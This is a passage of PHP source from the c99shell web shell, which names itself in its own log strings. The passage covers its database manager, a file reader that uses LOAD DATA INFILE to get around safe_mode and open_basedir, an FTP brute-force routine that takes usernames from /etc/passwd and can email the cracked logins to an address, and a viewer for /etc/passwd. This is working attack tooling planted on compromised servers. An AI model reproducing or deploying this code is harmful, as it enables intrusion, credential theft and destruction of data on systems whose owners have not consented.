  1086.      echo "<b>DB:</b>&nbsp;<input type=\"text\" name=\"sql_db\" value=\"".urlencode($sql_db)."\"><br><br>";
  1087.      $v = join (";",$dmptbls);
  1088.      echo "<b>Only tables (explode \";\")&nbsp;<b><sup>1</sup></b>:</b>&nbsp;<input type=\"text\" name=\"dmptbls\" value=\"".htmlspecialchars($v)."\" size=\"".(strlen($v)+5)."\"><br><br>";
  1089.      if ($dump_file) {$tmp = $dump_file;}
  1090.      else {$tmp = htmlspecialchars("./dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql");}
  1091.      echo "<b>File:</b>&nbsp;<input type=\"text\" name=\"sql_dump_file\" value=\"".$tmp."\" size=\"".(strlen($tmp)+strlen($tmp) % 30)."\"><br><br>";
  1092.      echo "<b>Download: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_download\" value=\"1\" checked><br><br>";
  1093.      echo "<b>Save to file: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_savetofile\" value=\"1\" checked>";
  1094.      echo "<br><br><input type=\"submit\" name=\"submit\" value=\"Dump\"><br><br><b><sup>1</sup></b> - all, if empty";
  1095.      echo "</form>";
  1096.     }
  1097.     else
  1098.     {
  1099.      $diplay = TRUE;
  1100.      $set = array();
  1101.      $set["sock"] = $sql_sock;
  1102.      $set["db"] = $sql_db;
  1103.      $dump_out = "download";
  1104.      $set["print"] = 0;
  1105.      $set["nl2br"] = 0;
  1106.      $set[""] = 0;
  1107.      $set["file"] = $dump_file;
  1108.      $set["add_drop"] = TRUE;
  1109.      $set["onlytabs"] = array();
  1110.      if (!empty($dmptbls)) {$set["onlytabs"] = explode(";",$dmptbls);}
  1111.      $ret = mysql_dump($set);
  1112.      if ($sql_dump_download)
  1113.      {
  1114.       @ob_clean();
  1115.       header("Content-type: application/octet-stream");
  1116.       header("Content-length: ".strlen($ret));
  1117.       header("Content-disposition: attachment; filename=\"".basename($sql_dump_file)."\";");
  1118.       echo $ret;
  1119.       exit;
  1120.      }
  1121.      elseif ($sql_dump_savetofile)
  1122.      {
  1123.       $fp = fopen($sql_dump_file,"w");
  1124.       if (!$fp) {echo "<b>Dump error! Can't write to \"".htmlspecialchars($sql_dump_file)."\"!";}
  1125.       else
  1126.       {
  1127.        fwrite($fp,$ret);
  1128.        fclose($fp);
  1129.        echo "<b>Dumped! Dump has been writed to \"".htmlspecialchars(realpath($sql_dump_file))."\" (".view_size(filesize($sql_dump_file)).")</b>.";
  1130.       }
  1131.      }
  1132.      else {echo "<b>Dump: nothing to do!</b>";}
  1133.     }
  1134.    }
  1135.    if ($diplay)
  1136.    {
  1137.     if (!empty($sql_tbl))
  1138.     {
  1139.      if (empty($sql_tbl_act)) {$sql_tbl_act = "browse";}
  1140.      $count = mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;");
  1141.      $count_row = mysql_fetch_array($count);
  1142.      mysql_free_result($count);
  1143.      $tbl_struct_result = mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;");
  1144.      $tbl_struct_fields = array();
  1145.      while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;}
  1146.      if ($sql_ls > $sql_le) {$sql_le = $sql_ls + $perpage;}
  1147.      if (empty($sql_tbl_page)) {$sql_tbl_page = 0;}
  1148.      if (empty($sql_tbl_ls)) {$sql_tbl_ls = 0;}
  1149.      if (empty($sql_tbl_le)) {$sql_tbl_le = 30;}
  1150.      $perpage = $sql_tbl_le - $sql_tbl_ls;
  1151.      if (!is_numeric($perpage)) {$perpage = 10;}
  1152.      $numpages = $count_row[0]/$perpage;
  1153.      $e = explode(" ",$sql_order);
  1154.      if (count($e) == 2)
  1155.      {
  1156.       if ($e[0] == "d") {$asc_desc = "DESC";}
  1157.       else {$asc_desc = "ASC";}
  1158.       $v = "ORDER BY `".$e[1]."` ".$asc_desc." ";
  1159.      }
  1160.      else {$v = "";}
  1161.      $query = "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls." , ".$perpage."";
  1162.      $result = mysql_query($query) or print(mysql_smarterror());
  1163.      echo "<hr size=\"1\" noshade><center><b>Table ".htmlspecialchars($sql_tbl)." (".mysql_num_fields($result)." cols and ".$count_row[0]." rows)</b></center>";
  1164.      echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=structure\">[&nbsp;<b>Structure</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;";
  1165.      echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=browse\">[&nbsp;<b>Browse</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;";
  1166.      echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_act=tbldump&thistbl=1\">[&nbsp;<b>Dump</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;";
  1167.      echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=insert\">[&nbsp;<b>Insert</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;";
  1168.      if ($sql_tbl_act == "structure") {echo "<br><br><b>Coming sooon!</b>";}
  1169.      if ($sql_tbl_act == "insert")
  1170.      {
  1171.       if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();}
  1172.       if (!empty($sql_tbl_insert_radio))
  1173.       {
  1174.  
  1175.       }
  1176.       else
  1177.       {
  1178.        echo "<br><br><b>Inserting row into table:</b><br>";
  1179.        if (!empty($sql_tbl_insert_q))
  1180.        {
  1181.         $sql_query = "SELECT * FROM `".$sql_tbl."`";
  1182.         $sql_query .= " WHERE".$sql_tbl_insert_q;
  1183.         $sql_query .= " LIMIT 1;";
  1184.         $result = mysql_query($sql_query,$sql_sock) or print("<br><br>".mysql_smarterror());
  1185.         $values = mysql_fetch_assoc($result);
  1186.         mysql_free_result($result);
  1187.        }
  1188.        else {$values = array();}
  1189.        echo "<form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td><b>Field</b></td><td><b>Type</b></td><td><b>Function</b></td><td><b>Value</b></td></tr>";
  1190.        foreach ($tbl_struct_fields as $field)
  1191.        {
  1192.         $name = $field["Field"];
  1193.         if (empty($sql_tbl_insert_q)) {$v = "";}
  1194.         echo "<tr><td><b>".htmlspecialchars($name)."</b></td><td>".$field["Type"]."</td><td><select name=\"sql_tbl_insert_functs[".htmlspecialchars($name)."]\"><option value=\"\"></option><option>PASSWORD</option><option>MD5</option><option>ENCRYPT</option><option>ASCII</option><option>CHAR</option><option>RAND</option><option>LAST_INSERT_ID</option><option>COUNT</option><option>AVG</option><option>SUM</option><option value=\"\">--------</option><option>SOUNDEX</option><option>LCASE</option><option>UCASE</option><option>NOW</option><option>CURDATE</option><option>CURTIME</option><option>FROM_DAYS</option><option>FROM_UNIXTIME</option><option>PERIOD_ADD</option><option>PERIOD_DIFF</option><option>TO_DAYS</option><option>UNIX_TIMESTAMP</option><option>USER</option><option>WEEKDAY</option><option>CONCAT</option></select></td><td><input type=\"text\" name=\"sql_tbl_insert[".htmlspecialchars($name)."]\" value=\"".htmlspecialchars($values[$name])."\" size=50></td></tr>";
  1195.         $i++;
  1196.        }
  1197.        echo "</table><br>";
  1198.        echo "<input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"1\""; if (empty($sql_tbl_insert_q)) {echo " checked";} echo "><b>Insert as new row</b>";
  1199.        if (!empty($sql_tbl_insert_q)) {echo " or <input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"2\" checked><b>Save</b>"; echo "<input type=\"hidden\" name=\"sql_tbl_insert_q\" value=\"".htmlspecialchars($sql_tbl_insert_q)."\">";}
  1200.        echo "<br><br><input type=\"submit\" value=\"Confirm\"></form>";
  1201.       }
  1202.      }
  1203.      if ($sql_tbl_act == "browse")
  1204.      {
  1205.       $sql_tbl_ls = abs($sql_tbl_ls);
  1206.       $sql_tbl_le = abs($sql_tbl_le);
  1207.       echo "<hr size=\"1\" noshade>";
  1208.       echo "<img src=\"".$surl."act=img&img=multipage\" height=\"12\" width=\"10\" alt=\"Pages\">&nbsp;";
  1209.       $b = 0;
  1210.       for($i=0;$i<$numpages;$i++)
  1211.       {
  1212.        if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_order=".htmlspecialchars($sql_order)."&sql_tbl_ls=".($i*$perpage)."&sql_tbl_le=".($i*$perpage+$perpage)."\"><u>";}
  1213.        echo $i;
  1214.        if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "</u></a>";}
  1215.        if (($i/30 == round($i/30)) and ($i > 0)) {echo "<br>";}
  1216.        else {echo "&nbsp;";}
  1217.       }
  1218.       if ($i == 0) {echo "empty";}
  1219.       echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"sql_order\" value=\"".htmlspecialchars($sql_order)."\"><b>From:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_ls\" value=\"".$sql_tbl_ls."\">&nbsp;<b>To:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_le\" value=\"".$sql_tbl_le."\">&nbsp;<input type=\"submit\" value=\"View\"></form>";
  1220.       echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1>";
  1221.       echo "<tr>";
  1222.       echo "<td><input type=\"checkbox\" name=\"boxrow_all\" value=\"1\"></td>";
  1223.       for ($i=0;$i<mysql_num_fields($result);$i++)
  1224.       {
  1225.        $v = mysql_field_name($result,$i);
  1226.        if ($e[0] == "a") {$s = "d"; $m = "asc";}
  1227.        else {$s = "a"; $m = "desc";}
  1228.        echo "<td>";
  1229.        if (empty($e[0])) {$e[0] = "a";}
  1230.        if ($e[1] != $v) {echo "<a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$e[0]."%20".$v."\"><b>".$v."</b></a>";}
  1231.        else {echo "<b>".$v."</b><a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$s."%20".$v."\"><img src=\"".$surl."act=img&img=sort_".$m."\" height=\"9\" width=\"14\" alt=\"".$m."\"></a>";}
  1232.        echo "</td>";
  1233.       }
  1234.       echo "<td><font color=\"green\"><b>Action</b></font></td>";
  1235.       echo "</tr>";
  1236.       while ($row = mysql_fetch_array($result, MYSQL_ASSOC))
  1237.       {
  1238.        echo "<tr>";
  1239.        $w = "";
  1240.        $i = 0;
  1241.        foreach ($row as $k=>$v) {$name = mysql_field_name($result,$i); $w .= " `".$name."` = '".addslashes($v)."' AND"; $i++;}
  1242.        if (count($row) > 0) {$w = substr($w,0,strlen($w)-3);}
  1243.        echo "<td><input type=\"checkbox\" name=\"boxrow[]\" value=\"".$w."\"></td>";
  1244.        $i = 0;
  1245.        foreach ($row as $k=>$v)
  1246.        {
  1247.         $v = htmlspecialchars($v);
  1248.         if ($v == "") {$v = "<font color=\"green\">NULL</font>";}
  1249.         echo "<td>".$v."</td>";
  1250.         $i++;
  1251.        }
  1252.        echo "<td>";
  1253.        echo "<a href=\"".$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_query=".urlencode("DELETE FROM `".$sql_tbl."` WHERE".$w." LIMIT 1;")."\"><img src=\"".$surl."act=img&img=sql_button_drop\" alt=\"Delete\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;";
  1254.        echo "<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_insert_q=".urlencode($w)."\"><img src=\"".$surl."act=img&img=change\" alt=\"Edit\" height=\"14\" width=\"14\" border=\"0\"></a>&nbsp;";
  1255.        echo "</td>";
  1256.        echo "</tr>";
  1257.       }
  1258.       mysql_free_result($result);
  1259.       echo "</table><hr size=\"1\" noshade><p align=\"left\"><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">";
  1260.       echo "<option value=\"\">With selected:</option>";
  1261.       echo "<option value=\"deleterow\">Delete</option>";
  1262.       echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></form></p>";
  1263.      }
  1264.     }
  1265.     else
  1266.     {
  1267.      $result = mysql_query("SHOW TABLE STATUS", $sql_sock);
  1268.      if (!$result) {echo mysql_smarterror();}
  1269.      else
  1270.      {
  1271.       echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td><input type=\"checkbox\" name=\"boxtbl_all\" value=\"1\"></td><td><center><b>Table</b></center></td><td><b>Rows</b></td><td><b>Type</b></td><td><b>Created</b></td><td><b>Modified</b></td><td><b>Size</b></td><td><b>Action</b></td></tr>";
  1272.       $i = 0;
  1273.       $tsize = $trows = 0;
  1274.       while ($row = mysql_fetch_array($result, MYSQL_ASSOC))
  1275.       {
  1276.        $tsize += $row["Data_length"];
  1277.        $trows += $row["Rows"];
  1278.        $size = view_size($row["Data_length"]);
  1279.        echo "<tr>";
  1280.        echo "<td><input type=\"checkbox\" name=\"boxtbl[]\" value=\"".$row["Name"]."\"></td>";
  1281.        echo "<td>&nbsp;<a href=\"".$sql_surl."sql_tbl=".urlencode($row["Name"])."\"><b>".$row["Name"]."</b></a>&nbsp;</td>";
  1282.        echo "<td>".$row["Rows"]."</td>";
  1283.        echo "<td>".$row["Type"]."</td>";
  1284.        echo "<td>".$row["Create_time"]."</td>";
  1285.        echo "<td>".$row["Update_time"]."</td>";
  1286.        echo "<td>".$size."</td>";
  1287.        echo "<td>&nbsp;<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DELETE FROM `".$row["Name"]."`")."\"><img src=\"".$surl."act=img&img=sql_button_empty\" alt=\"Empty\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;&nbsp;<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DROP TABLE `".$row["Name"]."`")."\"><img src=\"".$surl."act=img&img=sql_button_drop\" alt=\"Drop\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".$row["Name"]."\"><img src=\"".$surl."act=img&img=sql_button_insert\" alt=\"Insert\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;</td>";
  1288.        echo "</tr>";
  1289.        $i++;
  1290.       }
  1291.       echo "<tr bgcolor=\"000000\">";
  1292.       echo "<td><center><b></b></center></td>";
  1293.       echo "<td><center><b>".$i." table(s)</b></center></td>";
  1294.       echo "<td><b>".$trows."</b></td>";
  1295.       echo "<td>".$row[1]."</td>";
  1296.       echo "<td>".$row[10]."</td>";
  1297.       echo "<td>".$row[11]."</td>";
  1298.       echo "<td><b>".view_size($tsize)."</b></td>";
  1299.       echo "<td></td>";
  1300.       echo "</tr>";
  1301.       echo "</table><hr size=\"1\" noshade><p align=\"right\"><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">";
  1302.       echo "<option value=\"\">With selected:</option>";
  1303.       echo "<option value=\"tbldrop\">Drop</option>";
  1304.       echo "<option value=\"tblempty\">Empty</option>";
  1305.       echo "<option value=\"tbldump\">Dump</option>";
  1306.       echo "<option value=\"tblcheck\">Check table</option>";
  1307.       echo "<option value=\"tbloptimize\">Optimize table</option>";
  1308.       echo "<option value=\"tblrepair\">Repair table</option>";
  1309.       echo "<option value=\"tblanalyze\">Analyze table</option>";
  1310.       echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></form></p>";
  1311.       mysql_free_result($result);
  1312.      }
  1313.     }
  1314.    }
  1315.    }
  1316.   }
  1317.   else
  1318.   {
  1319.    $acts = array("","newdb","serverstatus","servervars","processes","getfile");
  1320.    if (in_array($sql_act,$acts)) {?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new DB:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newdb"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newdb" size="20">&nbsp;<input type="submit" value="Create"></form></td><td width="30%" height="1"><b>View File:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="getfile"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_getfile" size="30" value="<?php echo htmlspecialchars($sql_getfile); ?>">&nbsp;<input type="submit" value="Get"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php }
  1321.    if (!empty($sql_act))
  1322.    {
  1323.     echo "<hr size=\"1\" noshade>";
  1324.     if ($sql_act == "newdb")
  1325.     {
  1326.      echo "<b>";
  1327.      if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";}
  1328.      else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();}
  1329.     }
  1330.     if ($sql_act == "serverstatus")
  1331.     {
  1332.      $result = mysql_query("SHOW STATUS", $sql_sock);
  1333.      echo "<center><b>Server-status variables:</b><br><br>";
  1334.      echo "<TABLE cellSpacing=0 cellPadding=0 bgColor=#333333 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>";
  1335.      while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";}
  1336.      echo "</table></center>";
  1337.      mysql_free_result($result);
  1338.     }
  1339.     if ($sql_act == "servervars")
  1340.     {
  1341.      $result = mysql_query("SHOW VARIABLES", $sql_sock);
  1342.      echo "<center><b>Server variables:</b><br><br>";
  1343.      echo "<TABLE cellSpacing=0 cellPadding=0 bgColor=#333333 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>";
  1344.      while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";}
  1345.      echo "</table>";
  1346.      mysql_free_result($result);
  1347.     }
  1348.     if ($sql_act == "processes")
  1349.     {
  1350.      if (!empty($kill)) {$query = "KILL ".$kill.";"; $result = mysql_query($query, $sql_sock); echo "<b>Killing process #".$kill."... ok. he is dead, amen.</b>";}
  1351.      $result = mysql_query("SHOW PROCESSLIST", $sql_sock);
  1352.      echo "<center><b>Processes:</b><br><br>";
  1353.      echo "<TABLE cellSpacing=0 cellPadding=2 bgColor=#333333 borderColorLight=#333333 border=1><td><b>ID</b></td><td><b>USER</b></td><td><b>HOST</b></td><td><b>DB</b></td><td><b>COMMAND</b></td><td><b>TIME</b></td><td><b>STATE</b></td><td><b>INFO</b></td><td><b>Action</b></td></tr>";
  1354.      while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td><td>".$row[2]."</td><td>".$row[3]."</td><td>".$row[4]."</td><td>".$row[5]."</td><td>".$row[6]."</td><td>".$row[7]."</td><td><a href=\"".$sql_surl."sql_act=processes&kill=".$row[0]."\"><u>Kill</u></a></td></tr>";}
  1355.      echo "</table>";
  1356.      mysql_free_result($result);
  1357.     }
  1358.     if ($sql_act == "getfile")
  1359.     {
  1360.      $tmpdb = $sql_login."_tmpdb";
  1361.      $select = mysql_select_db($tmpdb);
  1362.      if (!$select) {mysql_create_db($tmpdb); $select = mysql_select_db($tmpdb); $created = !!$select;}
  1363.      if ($select)
  1364.      {
  1365.       $created = FALSE;
  1366.       mysql_query("CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );");
  1367.       mysql_query("LOAD DATA INFILE \"".addslashes($sql_getfile)."\" INTO TABLE tmp_file");
  1368.       $result = mysql_query("SELECT * FROM tmp_file;");
  1369.       if (!$result) {echo "<b>Error in reading file (permision denied)!</b>";}
  1370.       else
  1371.       {
  1372.        for ($i=0;$i<mysql_num_fields($result);$i++) {$name = mysql_field_name($result,$i);}
  1373.        $f = "";
  1374.        while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {$f .= join ("\r\n",$row);}
  1375.        if (empty($f)) {echo "<b>File \"".$sql_getfile."\" does not exists or empty!</b><br>";}
  1376.        else {echo "<b>File \"".$sql_getfile."\":</b><br>".nl2br(htmlspecialchars($f))."<br>";}
  1377.        mysql_free_result($result);
  1378.        mysql_query("DROP TABLE tmp_file;");
  1379.       }
  1380.      }
  1381.      mysql_drop_db($tmpdb); //comment it if you want to leave database
  1382.     }
  1383.    }
  1384.   }
  1385.  }
  1386.  echo "</td></tr></table>";
  1387.  if ($sql_sock)
  1388.  {
  1389.   $affected = @mysql_affected_rows($sql_sock);
  1390.   if ((!is_numeric($affected)) or ($affected < 0)){$affected = 0;}
  1391.   echo "<tr><td><center><b>Affected rows: ".$affected."</center></td></tr>";
  1392.  }
  1393.  echo "</table>";
  1394. }
  1395. if ($act == "mkdir")
  1396. {
  1397.  if ($mkdir != $d)
  1398.  {
  1399.   if (file_exists($mkdir)) {echo "<b>Make Dir \"".htmlspecialchars($mkdir)."\"</b>: object alredy exists";}
  1400.   elseif (!mkdir($mkdir)) {echo "<b>Make Dir \"".htmlspecialchars($mkdir)."\"</b>: access denied";}
  1401.   echo "<br><br>";
  1402.  }
  1403.  $act = $dspact = "ls";
  1404. }
  1405. if ($act == "ftpquickbrute")
  1406. {
  1407.  echo "<b>Ftp Quick brute:</b><br>";
  1408.  if (!win) {echo "This functions not work in Windows!<br><br>";}
  1409.  else
  1410.  {
  1411.   function c99ftpbrutecheck($host,$port,$timeout,$login,$pass,$sh,$fqb_onlywithsh)
  1412.   {
  1413.    if ($fqb_onlywithsh) {$TRUE = (!in_array($sh,array("/bin/FALSE","/sbin/nologin")));}
  1414.    else {$TRUE = TRUE;}
  1415.    if ($TRUE)
  1416.    {
  1417.     $sock = @ftp_connect($host,$port,$timeout);
  1418.     if (@ftp_login($sock,$login,$pass))
  1419.     {
  1420.      echo "<a href=\"ftp://".$login.":".$pass."@".$host."\" target=\"_blank\"><b>Connected to ".$host." with login \"".$login."\" and password \"".$pass."\"</b></a>.<br>";
  1421.      ob_flush();
  1422.      return TRUE;
  1423.     }
  1424.    }
  1425.   }
  1426.   if (!empty($submit))
  1427.   {
  1428.    if (!is_numeric($fqb_lenght)) {$fqb_lenght = $nixpwdperpage;}
  1429.    $fp = fopen("/etc/passwd","r");
  1430.    if (!$fp) {echo "Can't get /etc/passwd for password-list.";}
  1431.    else
  1432.    {
  1433.     if ($fqb_logging)
  1434.     {
  1435.      if ($fqb_logfile) {$fqb_logfp = fopen($fqb_logfile,"w");}
  1436.      else {$fqb_logfp = FALSE;}
  1437.      $fqb_log = "FTP Quick Brute (called c99shell v. ".$shver.") started at ".date("d.m.Y H:i:s")."\r\n\r\n";
  1438.      if ($fqb_logfile) {fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
  1439.     }
  1440.     ob_flush();
  1441.     $i = $success = 0;
  1442.     $ftpquick_st = getmicrotime();
  1443.     while(!feof($fp))
  1444.     {
  1445.      $str = explode(":",fgets($fp,2048));
  1446.      if (c99ftpbrutecheck("localhost",21,1,$str[0],$str[0],$str[6],$fqb_onlywithsh))
  1447.      {
  1448.       echo "<b>Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\"</b><br>";
  1449.       $fqb_log .= "Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\", at ".date("d.m.Y H:i:s")."\r\n";
  1450.       if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
  1451.       $success++;
  1452.       ob_flush();
  1453.      }
  1454.      if ($i > $fqb_lenght) {break;}
  1455.      $i++;
  1456.     }
  1457.     if ($success == 0) {echo "No success. connections!"; $fqb_log .= "No success. connections!\r\n";}
  1458.     $ftpquick_t = round(getmicrotime()-$ftpquick_st,4);
  1459.     echo "<hr size=\"1\" noshade><b>Done!</b><br>Total time (secs.): ".$ftpquick_t."<br>Total connections: ".$i."<br>Success.: <font color=green><b>".$success."</b></font><br>Unsuccess.:".($i-$success)."</b><br>Connects per second: ".round($i/$ftpquick_t,2)."<br>";
  1460.     $fqb_log .= "\r\n------------------------------------------\r\nDone!\r\nTotal time (secs.): ".$ftpquick_t."\r\nTotal connections: ".$i."\r\nSuccess.: ".$success."\r\nUnsuccess.:".($i-$success)."\r\nConnects per second: ".round($i/$ftpquick_t,2)."\r\n";
  1461.     if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
  1462.     if ($fqb_logemail) {@mail($fqb_logemail,"c99shell v. ".$shver." report",$fqb_log);}
  1463.     fclose($fqb_logfp);
  1464.    }
  1465.   }
  1466.   else
  1467.   {
  1468.    $logfile = $tmpdir_logs."c99sh_ftpquickbrute_".date("d.m.Y_H_i_s").".log";
  1469.    $logfile = str_replace("//",DIRECTORY_SEPARATOR,$logfile);
  1470.    echo "<form action=\"".$surl."\"><input type=hidden name=act value=\"ftpquickbrute\"><br>Read first: <input type=text name=\"fqb_lenght\" value=\"".$nixpwdperpage."\"><br><br>Users only with shell?&nbsp;<input type=\"checkbox\" name=\"fqb_onlywithsh\" value=\"1\"><br><br>Logging?&nbsp;<input type=\"checkbox\" name=\"fqb_logging\" value=\"1\" checked><br>Logging to file?&nbsp;<input type=\"text\" name=\"fqb_logfile\" value=\"".$logfile."\" size=\"".(strlen($logfile)+2*(strlen($logfile)/10))."\"><br>Logging to e-mail?&nbsp;<input type=\"text\" name=\"fqb_logemail\" value=\"".$log_email."\" size=\"".(strlen($logemail)+2*(strlen($logemail)/10))."\"><br><br><input type=submit name=submit value=\"Brute\"></form>";
  1471.   }
  1472.  }
  1473. }
  1474. if ($act == "d")
  1475. {
  1476.  if (!is_dir($d)) {echo "<center><b>Permision denied!</b></center>";}
  1477.  else
  1478.  {
  1479.   echo "<b>Directory information:</b><table border=0 cellspacing=1 cellpadding=2>";
  1480.   if (!$win)
  1481.   {
  1482.    echo "<tr><td><b>Owner/Group</b></td><td> ";
  1483.    $ow = posix_getpwuid(fileowner($d));
  1484.    $gr = posix_getgrgid(filegroup($d));
  1485.    $row[] = ($ow["name"]?$ow["name"]:fileowner($d))."/".($gr["name"]?$gr["name"]:filegroup($d));
  1486.   }
  1487.   echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&d=".urlencode($d)."\"><b>".view_perms_color($d)."</b></a><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d))."</td></tr></table><br>";
  1488.  }
  1489. }
  1490. if ($act == "phpinfo") {@ob_clean(); phpinfo(); c99shexit();}
  1491. if ($act == "security")
  1492. {
  1493.  echo "<center><b>Server security information:</b></center><b>Open base dir: ".$hopenbasedir."</b><br>";
  1494.  if (!$win)
  1495.  {
  1496.   if ($nixpasswd)
  1497.   {
  1498.    if ($nixpasswd == 1) {$nixpasswd = 0;}
  1499.    echo "<b>*nix /etc/passwd:</b><br>";
  1500.    if (!is_numeric($nixpwd_s)) {$nixpwd_s = 0;}
  1501.    if (!is_numeric($nixpwd_e)) {$nixpwd_e = $nixpwdperpage;}
  1502.    echo "<form action=\"".$surl."\"><input type=hidden name=act value=\"security\"><input type=hidden name=\"nixpasswd\" value=\"1\"><b>From:</b>&nbsp;<input type=\"text=\" name=\"nixpwd_s\" value=\"".$nixpwd_s."\">&nbsp;<b>To:</b>&nbsp;<input type=\"text\" name=\"nixpwd_e\" value=\"".$nixpwd_e."\">&nbsp;<input type=submit value=\"View\"></form><br>";
  1503.    $i = $nixpwd_s;
  1504.    while ($i < $nixpwd_e)
  1505.    {
  1506.     $uid = posix_getpwuid($i);
